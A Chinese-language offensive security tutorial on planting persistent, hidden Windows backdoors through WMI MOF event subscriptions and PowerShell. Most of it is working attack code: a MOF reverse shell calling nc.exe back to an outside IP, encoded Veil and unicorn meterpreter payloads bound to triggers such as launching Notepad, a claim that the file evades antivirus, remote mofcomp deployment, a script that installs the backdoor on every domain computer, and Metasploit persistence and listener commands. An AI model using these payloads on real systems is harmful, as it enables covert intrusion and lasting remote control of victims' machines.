Managed Object Format (MOF)是WMI數據庫中類和類實例的原始保存形式。具體介紹可以閱讀《WMI 的攻擊，防御與取證分析技術之防御篇》，Windows 管理規范 (WMI) 提供了以下三種方法編譯到WMI存儲庫的托管對象格式 (MOF) 文件：
$ CompileFile方法。 %SystemRoot%\System32\Wbem\MOF文件夾的 MOF 文件。 第三種方法僅為向后兼容性與早期版本（win2003）的 WMI 提供。
一個簡單的MOF反彈shell示例：
#!vb
#pragma namespace ("\\\\.\\root\\subscription")
instance of __EventFilter as $FILTER
{
Name = "CLASS_FIRST_TEST";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceCreationEvent "
"WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND "
"TargetInstance.LogFile=\"Application\"";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $CONSUMER
{
Name = "CLASS_FIRST_TEST";
ScriptingEngine = "VBScript";
ScriptText =
"Set objShell = CreateObject(\"WScript.Shell\")\n"
"objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 192.168.38.1 1337 -e C:\\Windows\\system32\\cmd.exe\"\n";
};
instance of __FilterToConsumerBinding
{
Consumer = $CONSUMER ;
Filter = $FILTER ;
};
如果獲取了管理員權限，使用MOF可以做一個永久的隱藏后門。對于很多后門來說，都需要一個觸發，在這里，可以使用WMI Query Language(WQL)來查詢事件，以便確定什么時候觸發我們的后門。（更多詳細的解釋可在查看戳我，戳我)。
比如，我們想做一個后門通過打開notepad來觸發，可以使用以下查詢：
#!sql
"SELECT * FROM __InstanceCreationEvent Within 5 "
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
如果想通過關閉Powershell來觸發，可以使用以下查詢：
#!sql
"SELECT * FROM __InstanceDeletionEvent Within 5 "
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"powershell.exe\" ";
如果想通過每小時在30分鐘的時候觸發，可使用以下查詢：
#!sql
"Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Minute = 30 "
當我們確定了我們的觸發方式以后，我們就可以把我們的查詢寫成一個MOF過濾器：
#!vb
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query = <插入查詢>
QueryLanguage = "WQL";
};
比如我們使用打開Notepad作為觸發條件，那么可以這樣寫：
#!vb
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5"
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
下面我們就需要事件消費者的響應了，在這里我們可以使用不同的EventConsumer類，通過使用CommandLineEventConsumer，我們可以使用Veil輸出的payload，同時也可以使用ActiveScriptEventConsumer來嵌入或者調用VBS腳本。下面是一個使用CommandLineEventConsumer的示例：
#!vb
"cmd /C [data here]";
下面使用Veil來生成Powershell payload:
選擇x86里面進行測試，payload如下：
#!bash
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
接下來，我們把上面的payload放到下面的模板中：
#!vb
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();";
};
這里要注意一點就是如果payload里面存在需要轉義的
"以及\這里可以使用雙引號將qi其引用并用\進行轉義。
最后我們所寫的MOF文件是這樣的：
#!vb
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden"
" -Exec Bypass -Command \"Invoke-Expression "
"$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String"
"(\\\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5"
"UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/"
"Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13"
"URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/"
"JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/"
"ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/"
"RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\\\")))), "
"[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"";
};
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5"
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding {
Filter = $Filt;
Consumer = $Cons;
};
如果覺得麻煩的話，可以使用這個工具unicorn來生成沒有特殊字符的payload，使用方式很簡單:
#!bash
? unicorn [master] python unicorn.py windows/meterpreter/reverse_tcp 192.168.74.141 8889
將powershell_attack.txt的內容復制進來，然后msfconsole -r unicorn.rc 則可開啟監聽,修改后的MOF文件如下：
#!vb
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell -window hidden -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZAA5ACwAMAB4AGMANAAsADAAeABiAGEALAAwAHgAYQBlACwAMAB4AGUAZAAsADAAeABmADMALAAwAHgANgA0ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGYALAAwAHgAMgBiACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANAA3ACwAMAB4ADMAMQAsADAAeAA1ADcALAAwAHgAMQA4ACwAMAB4ADgAMwAsADAAeABjADcALAAwAHgAMAA0ACwAMAB4ADAAMwAsADAAeAA1ADcALAAwAHgAYgBhACwAMAB4ADAAZgAsADAAeAAwADYALAAwAHgAOQA4ACwAMAB4ADIAYQAsADAAeAA0AGQALAAwAHgAZQA5ACwAMAB4ADYAMQAsADAAeABhAGEALAAwAHgAMwAyACwAMAB4ADYAMwAsADAAeAA4ADQALAAwAHgAOQBiACwAMAB4ADcAMgAsADAAeAAxADcALAAwAHgAYwBjACwAMAB4ADgAYgAsADAAeAA0ADIALAAwAHgANQAzACwAMAB4ADgAMAAsADAAeAAyADcALAAwAHgAMgA4ACwAMAB4ADMAMQAsADAAeAAzADEALAAwAHgAYgBjACwAMAB4ADUAYwAsADAAeAA5AGUALAAwAHgAMwA2ACwAMAB4ADcANQAsADAAeABlAGEALAAwAHgAZgA4ACwAMAB4ADcAOQAsADAAeAA4ADYALAAwAHgANAA3ACwAMAB4ADMAOAAsADAAeAAxAGIALAAwAHgAMAA0ACwAMAB4ADkAYQAsADAAeAA2AGQALAAwAHgAZgBiACwAMAB4ADMANQAsADAAeAA1ADUALAAwAHgANgAwACwAMAB4AGYAYQAsADAAeAA3ADIALAAwAHgAOAA4ACwAMAB4ADgAOQAsADAAeABhAGUALAAwAHgAMgBiACwAMAB4AGMANgAsADAAeAAzAGMALAAwAHgANQBmACwAMAB4ADUAOAAsADAAeAA5ADIALAAwAHgAZgBjACwAMAB4AGQANAAsADAAeAAxADIALAAwAHgAMwAyACwAMAB4ADgANQAsADAAeAAwADkALAAwAHgAZQAyACwAMAB4ADMANQAsADAAeABhADQALAAwAHgAOQBmACwAMAB4ADcAOQAsADAAeAA2AGMALAAwAHgANgA2ACwAMAB4ADIAMQAsADAAeABhAGUALAAwAHgAMAA0ACwAMAB4ADIAZgAsADAAeAAzADkALAAwAHgAYgAzACwAMAB4ADIAMQAsADAAeABmADkALAAwAHgAYgAyACwAMAB4ADAANwAsADAAeABkAGQALAAwAHgAZgA4ACwAMAB4ADEAMgAsADAAeAA1ADYALAAwAHgAMQBlACwAMAB4ADUANgAsADAAeAA1AGIALAAwAHgANQA3ACwAMAB4AGUAZAAsADAAeABhADYALAAwAHgAOQBiACwAMAB4ADUAZgAsADAAeAAwAGUALAAwAHgAZABkACwAMAB4AGQANQAsADAAeAA5AGMALAAwAHgAYgAzACwAMAB4AGUANgAsADAAeAAyADEALAAwAHgAZABmACwAMAB4ADYAZgAsADAAeAA2ADIALAAwAHgAYgAyACwAMAB4ADQANwAsADAAeABmAGIALAAwAHgAZAA0ACwAMAB4ADEAZQAsADAAeAA3ADYALAAwAHgAMgA4ACwAMAB4ADgAMgAsADAAeABkADUALAAwAHgANwA0ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgAYgAyACwAMAB4ADkAOAAsADAAeAAxADgALAAwAHgAMAA0ACwAMAB4AGMAOQAsADAAeABhADQALAAwAHgAOQAxACwAMAB4AGEAYgAsADAAeAAxAGUALAAwAHgAMgBkACwAMAB4AGUAMQAsADAAeAA4AGYALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeABiADEALAAwAHgAYQBlACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgAMQA0ACwAMAB4AGMAZQAsADAAeABmAGMALAAwAHgAYgBkACwAMAB4AGMAOQAsADAAeAA2AGEALAAwAHgANwA2ACwAMAB4ADUAMwAsADAAeAAxAGQALAAwAHgAMAA3ACwAMAB4AGQANQAsADAAeAAzAGIALAAwAHgAZAAyACwAMAB4ADIAYQAsADAAeABlADYALAAwAHgAYgBiACwAMAB4ADcAYwAsADAAeAAzAGMALAAwAHgAOQA1ACwAMAB4ADgAOQAsADAAeAAyADMALAAwAHgAOQA2ACwAMAB4ADMAMQAsADAAeABhADEALAAwAHgAYQBjACwAMAB4ADMAMAAsADAAeABjADUALAAwAHgAYwA2ACwAMAB4ADgANgAsADAAeAA4ADUALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAyADkALAAwAHgAZgA2ACwAMAB4ADcAMAAsADAAeABmAGQALAAwAHgANwBkACwAMAB4AGEANgAsADAAeABlAGEALAAwAHgAZAA0ACwAMAB4AGYAZAAsADAAeAAyAGQALAAwAHgAZQBiACwAMAB4AGQAOQAsADAAeAAyAGIALAAwAHgAZABiACwAMAB4AGUAZQAsADAAeAA0AGQALAAwAHgAMQA0ACwAMAB4AGIANAAsADAAeABiAGIALAAwAHgAMAAwACwAMAB4AGYAYwAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADMAOAAsADAAeAA0ADQALAAwAHgANABlACwAMAB4AGQAZAAsADAAeAA2AGMALAAwAHgAZQA2ACwAMAB4ADAAMQAsADAAeAA3ADIALAAwAHgAYwBjACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAMgAyACwAMAB4AGEANAAsADAAeABiAGMALAAwAHgAZQBkACwAMAB4ADEAZAAsADAAeABkADQALAAwAHgAYgBlACwAMAB4ADIANwAsADAAeAAzADYALAAwAHgANwBlACwAMAB4ADUAMQAsADAAeAA5AGUALAAwAHgANgBlACwAMAB4ADEANgAsADAAeABjADgALAAwAHgAYgBiACwAMAB4AGUANQAsADAAeAA4ADcALAAwAHgAMQA1ACwAMAB4ADEANgAsADAAeAA4ADAALAAwAHgAOAA3ACwAMAB4ADkAZQAsADAAeAA5ADUALAAwAHgANwA0ACwAMAB4ADQAOQAsADAAeAA1ADcALAAwAHgAZAAzACwAMAB4ADYANgAsADAAeAAzAGQALAAwAHgAOQA3ACwAMAB4AGEAZQAsADAAeABkADUALAAwAHgAZQBiACwAMAB4AGEAOAAsADAAeAAwADQALAAwAHgANwAzACwAMAB4ADEAMwAsADAAeAAzAGQALAAwAHgAYQAzACwAMAB4AGQAMgAsADAAeAA0ADQALAAwAHgAYQA5ACwAMAB4AGEAOQAsADAAeAAwADMALAAwAHgAYQAyACwAMAB4ADcANgAsADAAeAA1ADEALAAwAHgANgA2ACwAMAB4AGIAOQAsADAAeABiAGYALAAwAHgAYwA3ACwAMAB4AGMAOQAsADAAeABkADUALAAwAHgAYgBmACwAMAB4ADAANwAsADAAeABjAGEALAAwAHgAMgA1ACwAMAB4ADkANgAsADAAeAA0AGQALAAwAHgAYwBhACwAMAB4ADQAZAAsADAAeAA0AGUALAAwAHgAMwA2ACwAMAB4ADkAOQAsADAAeAA2ADgALAAwAHgAOQAxACwAMAB4AGUAMwAsADAAeAA4AGQALAAwAHgAMgAxACwAMAB4ADAANAAsADAAeAAwAGMALAAwAHgAZQA0ACwAMAB4ADkANgAsADAAeAA4AGYALAAwAHgANgA0ACwAMAB4ADAAYQAsADAAeABjADEALAAwAHgAZgA4ACwAMAB4ADIAYQAsADAAeABmADUALAAwAHgAMgA0ACwAMAB4AGYAOQAsADAAeAAxADcALAAwAHgAMgAwACwAMAB4ADAAMAAsADAAeAA4AGYALAAwAHgANwA5ACwAMAB4AGYAMAA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeAAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkADEAKQApADsAJAAyACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAMwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAAzACAAJAAyACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A";
};
instance of __EventFilter as $Filt
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5"
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding {
Filter = $Filt;
Consumer = $Cons;
};
將以上內容保存為test.mof，如果擁有管理員權限，可以將test.mof放到%SYSTEMROOT%/wbem/MOF目錄（xp以下操作系統），系統會自動編譯執行此腳本，如果在XP 或者更高版本的操作系統上可以執行如下命令：
#!bash
C:\>mofcomp.exe c:\test.mof
執行以后，當打開記事本的時候，則可生成meterpreter會話：
同時，這個mof文件是免殺的：
當然除了這個我們還可以做其他事情，比如關閉某個程序，當其啟動時就關閉，MOF文件如下：
#!vb
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper 2";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell.exe Stop-Process -processname notepad -Force";
};
instance of __EventFilter as $Filt
{
Name = "EventFilter 2";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 3"
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{
Filter = $Filt;
Consumer = $Cons;
};
如果我們想要遠程執行，可使用如下命令：
#!bash
c:\>mofcomp -N \\[machinename]\root\subscription test.mof
如果我們在域內，還可以用下面的Powershell腳本批量遠程執行：
#!vb
function getNetHosts
{
$final = @()
＃獲取域計算機
$strCategory = "computer"
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
$objSearcher.Filter = ("(objectCategory=$strCategory)")
$colProplist = "name", "cn"
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
$colResults = $objSearcher.FindAll()
foreach ($objResult in $colResults)
{
$objComputer = $objResult.Properties
$bleh = $objComputer.name
$final += $bleh
}
return $final
}
$nethosts= getNetHosts
foreach ($nethost in $nethosts)
{
write-host "Exec on " + $nethost
$str = "\\"+$nethost+"\root\subscription"
$m = mofcomp -N $str test.mof
}
使用方式為：
#!bash
c:\> powershell -ExecutionPolicy Bypass .\test.ps1 # mof文件在同一個文件夾下面
這里有一個msf的模塊，可以實現此后門安裝，地址：metasploit-modules，下載以后將其移動到post/windows/文件夾則可使用：
#!bash
? persistence [master] mv mof_ps_persist.rb $msf_path/modules/post/windows/
在獲取meterpreter會話以后，安裝此后門：
#!bash
msf exploit(web_delivery) > use post/windows/mof_ps_persist
msf post(mof_ps_persist) > set LHOST 192.168.101.1
LHOST => 192.168.101.1
msf post(mof_ps_persist) > set lport 8887
lport => 8887
msf post(mof_ps_persist) > set session 4
session => 4
msf post(mof_ps_persist) > run
默認payload為
windows/meterpreter/reverse_tcp，執行時間間隔為60秒，如果想通過觸發方式啟動，可以自行修改ruby腳本。
開啟監聽：
#!bash
msf post(mof_ps_persist) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.101.1
lhost => 192.168.101.1
msf exploit(handler) > set lport 8887
lport => 8887
msf exploit(handler) > exploit -j
如果看到錯誤80041003，說明權限不夠，可以試試試用bypassuac,具體怎么bypass，請戳我。
當會話中斷以后，由于mof自動執行，所以可以重新獲取meterpreter會話。當對方電腦重啟以后，仍可以獲取會話。
如果想要清除后門，可以resource 生成的rc文件。
要停止mof，可進行如下操作：
net stop winmgmt 停止服務，C:\WINDOWS\system32\wbem\Repository\net start winmgmt 啟動服務本篇文章主要介紹了一些結合MOF與powershell來進行制作后門的方式方法，對于MOF大家可能接觸最多的就是在MYSQL提權時使用MOF來提權，其實玩兒法還很多，大家可以繼續來研究研究，希望此文對你有幫助。
本文由evi1cg原創并首發于烏云drops，轉載請注明
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